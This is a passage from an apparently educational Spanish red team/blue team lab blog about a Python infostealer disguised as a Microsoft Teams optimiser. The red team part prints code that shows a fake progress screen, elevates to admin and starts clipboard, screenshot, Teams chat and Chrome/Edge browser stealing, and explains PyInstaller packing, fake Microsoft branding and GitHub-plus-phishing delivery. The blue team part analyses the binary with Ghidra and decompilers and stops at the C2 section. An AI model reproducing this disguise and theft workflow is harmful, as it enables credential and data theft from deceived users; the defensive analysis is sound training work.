&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; title.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;, padx=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Contenido principal&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; main_frame = tk.Frame(root, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;, padx=&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; main_frame.pack(fill=&lt;span style="color:#e6db74"&gt;&amp;#34;both&amp;#34;&lt;/span&gt;, expand=True)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mensaje de bienvenida&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; welcome = tk.Label(main_frame, text=&lt;span style="color:#e6db74"&gt;&amp;#34;Optimizando Microsoft Teams&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;14&lt;/span&gt;), bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; welcome.pack(pady=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Barra de progreso&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress_label = tk.Label(main_frame, text=&lt;span style="color:#e6db74"&gt;&amp;#34;Progreso:&amp;#34;&lt;/span&gt;, font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;), bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress_label.pack(anchor=&lt;span style="color:#e6db74"&gt;&amp;#34;w&amp;#34;&lt;/span&gt;, pady=(&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress = ttk.Progressbar(main_frame, orient=&lt;span style="color:#e6db74"&gt;&amp;#34;horizontal&amp;#34;&lt;/span&gt;, length=&lt;span style="color:#ae81ff"&gt;560&lt;/span&gt;, mode=&lt;span style="color:#e6db74"&gt;&amp;#34;determinate&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress.pack(pady=&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Lista de tareas simuladas&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tasks_frame = tk.Frame(main_frame, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tasks_frame.pack(fill=&lt;span style="color:#e6db74"&gt;&amp;#34;x&amp;#34;&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; task_labels = [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Analizando configuración actual...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Optimizando recursos de memoria...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Mejorando rendimiento de videollamadas...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Actualizando componentes esenciales...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Aplicando configuraciones de rendimiento...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Limpiando caché temporal...&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Verificando integridad de archivos...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status_vars = []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i, task &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; enumerate(task_labels)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; frame = tk.Frame(tasks_frame, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; frame.pack(fill=&lt;span style="color:#e6db74"&gt;&amp;#34;x&amp;#34;&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status = tk.Label(frame, text=&lt;span style="color:#e6db74"&gt;&amp;#34;⏳&amp;#34;&lt;/span&gt;, font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;), bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;, padx=(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; task_text = tk.Label(frame, text=task, font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;), bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; task_text.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;left&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status_vars.append(status)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Pie de página&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; footer = tk.Label(root, text=&lt;span style="color:#e6db74"&gt;&amp;#34;© 2026 Microsoft Corporation&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; font=(&lt;span style="color:#e6db74"&gt;&amp;#34;Segoe UI&amp;#34;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;), fg=&lt;span style="color:#e6db74"&gt;&amp;#34;#666666&amp;#34;&lt;/span&gt;, bg=&lt;span style="color:#e6db74"&gt;&amp;#34;#f0f0f0&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; footer.pack(side=&lt;span style="color:#e6db74"&gt;&amp;#34;bottom&amp;#34;&lt;/span&gt;, pady=&lt;span style="color:#ae81ff"&gt;10&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Función para simular progreso&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; def simulate_progress()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Simular progreso durante 30 segundos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;101&lt;/span&gt;)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; progress[&lt;span style="color:#e6db74"&gt;&amp;#34;value&amp;#34;&lt;/span&gt;] = i
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.update()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Actualizar tareas aleatoriamente&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; i % &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt; == &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; idx = random.randint(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;, len(status_vars)&lt;span style="color:#ae81ff"&gt;-1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; status_vars[&lt;span style="color:#66d9ef"&gt;idx&lt;/span&gt;].config(text=&lt;span style="color:#e6db74"&gt;&amp;#34;✅&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time.sleep(&lt;span style="color:#ae81ff"&gt;0.1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mostrar mensaje final&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; messagebox.showinfo(&lt;span style="color:#e6db74"&gt;&amp;#34;Optimización Completada&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft Teams ha sido optimizado exitosamente.\n\n&amp;#34;&lt;/span&gt; +
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#34;Recomendamos reiniciar Teams para aplicar todos los cambios.&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.quit()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Iniciar la simulación en un hilo separado&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; threading.Thread(target=simulate_progress, daemon=True).start()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; root.mainloop()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# ——— Main ——————————————————————————————————————————————————————&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; __name__ == &lt;span style="color:#e6db74"&gt;&amp;#34;__main__&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; platform.system() != &lt;span style="color:#e6db74"&gt;&amp;#34;Windows&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(&lt;span style="color:#e6db74"&gt;&amp;#34;[!] Solo Windows soportado&amp;#34;&lt;/span&gt;); sys.exit(&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not is_admin()&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ctypes.windll.shell32.ShellExecuteW(None, &lt;span style="color:#e6db74"&gt;&amp;#34;runas&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sys.executable, &lt;span style="color:#e6db74"&gt;&amp;#34; &amp;#34;&lt;/span&gt;.join(sys.argv), None, &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; sys.exit(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mostrar pantalla de optimización&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; show_optimization_screen()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; b vvvvv
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Ocultar la consola&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;#hide()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Iniciar los hilos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; clipboard_thread = threading.Thread(target=monitor_clipboard, daemon=True)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; clipboard_thread.start()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; start_screenshot_thread()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Ejecutar las tareas de robo de datos&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; extract_teams_chats()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; browser_stealer(&lt;span style="color:#e6db74"&gt;&amp;#34;Google\\Chrome&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; browser_stealer(&lt;span style="color:#e6db74"&gt;&amp;#34;Microsoft\\Edge&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Mantener programa vivo para capturas periódicas&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; True&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; time.sleep(&lt;span style="color:#ae81ff"&gt;60&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Utilicé &lt;strong&gt;PyInstaller&lt;/strong&gt; para compilar todo el proyecto en un único archivo ejecutable (&lt;code&gt;.exe&lt;/code&gt;). Esto no solo facilita la ejecución en sistemas que no tienen Python instalado, sino que también permite ocultar las dependencias.&lt;/p&gt;
&lt;p&gt;Para que el ataque fuera efectivo, utilicé el parámetro &lt;code&gt;--add-data&lt;/code&gt; para incrustar el binario &lt;code&gt;ms_teams_parser.exe&lt;/code&gt; dentro del paquete. De este modo, cuando el usuario ejecuta el &amp;ldquo;Optimizador&amp;rdquo;, el parser se extrae y se ejecuta en una carpeta temporal sin que la víctima note nada.&lt;/p&gt;
&lt;p&gt;Un ejecutable con el icono por defecto de Windows es sospechoso. Por eso, integré un &lt;strong&gt;icono de alta resolución de Microsoft Teams&lt;/strong&gt; y añadí metadatos al archivo (versión, desarrollador, descripción) para que, al pasar el ratón por encima o verlo en el Administrador de Tareas, pareciera un componente legítimo de Microsoft.&lt;/p&gt;
&lt;p&gt;Con el binario listo, el siguiente paso fue el despliegue. Subí el proyecto a un repositorio de &lt;strong&gt;GitHub&lt;/strong&gt; con un nombre convincente.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-806c-8517-efffe3f02b8a.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Desde aquí, el ataque de ingeniería social está servido: un simple correo de &lt;em&gt;phishing&lt;/em&gt; informando sobre una &amp;ldquo;actualización crítica de rendimiento para el teletrabajo&amp;rdquo; con el enlace al repositorio sería suficiente para comprometer a un usuario desprevenido.&lt;/p&gt;
&lt;h2 id="blue-team-khaled-el-modden"&gt;Blue Team (Khaled El Modden)&lt;/h2&gt;
&lt;p&gt;Si el Red Team vive de ocultar, engañar y exfiltrar, el &lt;strong&gt;Blue Team existe para lo contrario&lt;/strong&gt;: observar, correlacionar y desmontar. En este reto, mi papel no es ejecutar el binario ni “ver qué pasa”, sino &lt;strong&gt;entender exactamente por qué pasa&lt;/strong&gt; y cómo detenerlo antes de que el impacto sea real.&lt;/p&gt;
&lt;p&gt;Como Blue Team, mi enfoque parte de una premisa clara: &lt;em&gt;todo malware deja rastro&lt;/em&gt;. No importa lo bien disfrazado que esté el ejecutable, lo pulida que sea la GUI o lo legítimo que parezca el tráfico de red. Siempre hay artefactos: en memoria, en disco, en procesos, en llamadas al sistema o en el comportamiento del usuario que algo rompe.&lt;/p&gt;
&lt;h3 id="fase-0-preparación-del-entorno"&gt;Fase 0: Preparación del entorno&lt;/h3&gt;
&lt;p&gt;Para evitar contaminación y permitir una observación completa, trabajé en una &lt;strong&gt;máquina virtual con Windows 10 Pro&lt;/strong&gt;, configurada para poder revertir su estado en cualquier momento. Esto es clave para mantener un entorno controlado y reproducible.&lt;/p&gt;
&lt;h3 id="fase-1-reconocimiento-inicial-del-binario"&gt;Fase 1: Reconocimiento inicial del binario&lt;/h3&gt;
&lt;p&gt;Lo primero que hacemos es interrogar al archivo sin ejecutarlo. Al usar el comando &lt;code&gt;file&lt;/code&gt; en nuestro entorno de análisis, confirmamos la naturaleza del objetivo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Archivo:&lt;/strong&gt; &lt;code&gt;TeamsBoost.exe&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tipo:&lt;/strong&gt; &lt;code&gt;PE32+ executable (GUI) x86-64&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8016-a575-fd728707fd9b.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;¿Qué significa esto?&lt;/strong&gt; Que estamos ante un binario de 64 bits diseñado para Windows con una interfaz gráfica. Esto ya nos da una pista: el atacante quiere que el usuario interactúe con una ventana para generar confianza.&lt;/p&gt;
&lt;h3 id="fase-2-inmersión-en-el-análisis-estático-ghidra"&gt;Fase 2: Inmersión en el Análisis Estático (Ghidra)&lt;/h3&gt;
&lt;p&gt;Para mirar bajo el capó, cargamos el binario en &lt;strong&gt;Ghidra&lt;/strong&gt;. El análisis estático nos permite leer el código &amp;ldquo;muerto&amp;rdquo; antes de que tenga oportunidad de hacernos daño.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80c7-8503-e5a2a983475d.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Una vez cargado iremos directamente a los strings para ver si podemos rescatar alguna pista. Lo que podemos observar es que no se trata de un ejecutable &lt;strong&gt;.exe&lt;/strong&gt; nativo sino que se trata de un programa en python(.py) convertido a un .exe. Os preguntareis como llego a esta conclusión: Sencillo, los strings:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8073-a87d-c8b8b24dc198.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Temos una lista de cadenas que incluyen &lt;code&gt;PYINSTALLER_STRICT_UNPACK_MODE&lt;/code&gt;, &lt;code&gt;pyinstaller_pyz&lt;/code&gt; y rutas que apuntan a librerías de Python.&lt;/p&gt;
&lt;p&gt;El malware no ha sido escrito en C puro, sino en &lt;strong&gt;Python&lt;/strong&gt; y luego empaquetado con &lt;strong&gt;PyInstaller&lt;/strong&gt;. Esto es una técnica común para acelerar el desarrollo de malware, permitiendo al atacante usar librerías potentes de forma sencilla.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Llamadas a la API de Windows&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Sabiendo esto ya podría cambiar de entorno y utilizar el toolkit de python para descompilar y ver como funciona exactamente el código, pero como estamos en proceso de aprendizaje buscamos más pistas y damos con una buena: ¿Cómo actúa PyInstaller?&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8083-b172-cd86cd50ddbe.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Estos strings parecen curiosos así que vamos a ver el contexto.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-80b6-8804-c7a87654b858.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;Observamos llamadas críticas como &lt;code&gt;CreateProcessW&lt;/code&gt; y referencias a ventanas ocultas (&lt;code&gt;PyInstallerOnefileHiddenWindow&lt;/code&gt;).&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Por qué es relevante:&lt;/strong&gt; Esto nos indica que el ejecutable principal actuará como un &amp;ldquo;loader&amp;rdquo;, lanzando otros procesos de forma silenciosa para que el usuario no sospeche que hay actividad en segundo plano.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="fase-3-desempaquetado-y-extracción-de-artefactos"&gt;Fase 3: Desempaquetado y Extracción de Artefactos&lt;/h3&gt;
&lt;p&gt;Sabiendo que es un paquete de PyInstaller, nuestro siguiente paso es extraer el código original. Utilizamos la herramienta &lt;code&gt;pyinstxtractor.py&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Al ejecutarla, la consola nos muestra un volcado de archivos (más de 1.000 elementos). Entre el ruido de las librerías estándar de Python, localizamos el botín: un archivo llamado &lt;strong&gt;&lt;code&gt;INFOSTEALER_V9.PYC&lt;/code&gt;&lt;/strong&gt;.
Este archivo es el &lt;em&gt;&lt;strong&gt;bytecode&lt;/strong&gt;&lt;/em&gt; compilado. No es texto plano todavía, pero es mucho más cercano a la lógica del atacante que el binario original.&lt;/p&gt;
&lt;p&gt;Nos creara la carpeta : TeamsBoost.exe_extracted&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8059-a1d4-cc29e09ad4db.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h3 id="fase-4-reversado-del-bytecode-la-lógica-del-atacante"&gt;Fase 4: Reversado del Bytecode (La Lógica del Atacante)&lt;/h3&gt;
&lt;p&gt;Para leer el archivo &lt;code&gt;.pyc&lt;/code&gt;, utilizamos &lt;code&gt;pycdc&lt;/code&gt; (C++ Python Bytecode Disassembler). Aquí el análisis se vuelve crítico, ya que la captura de pantalla del código revela las &amp;ldquo;tripas&amp;rdquo; de la operación:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;pycdc/pycdas infostealer_v9.pyc &amp;gt; infostealer_v9.asm
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ef888fa-f353-8069-8697-e48f319c2ae4.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-808b-8a96-fc5416971fcd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ee888fa-f353-8026-b715-c1326aa1d097.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Canal de Exfiltración (C2):&lt;/strong&gt; En la imagen del código vemos claramente las variables:
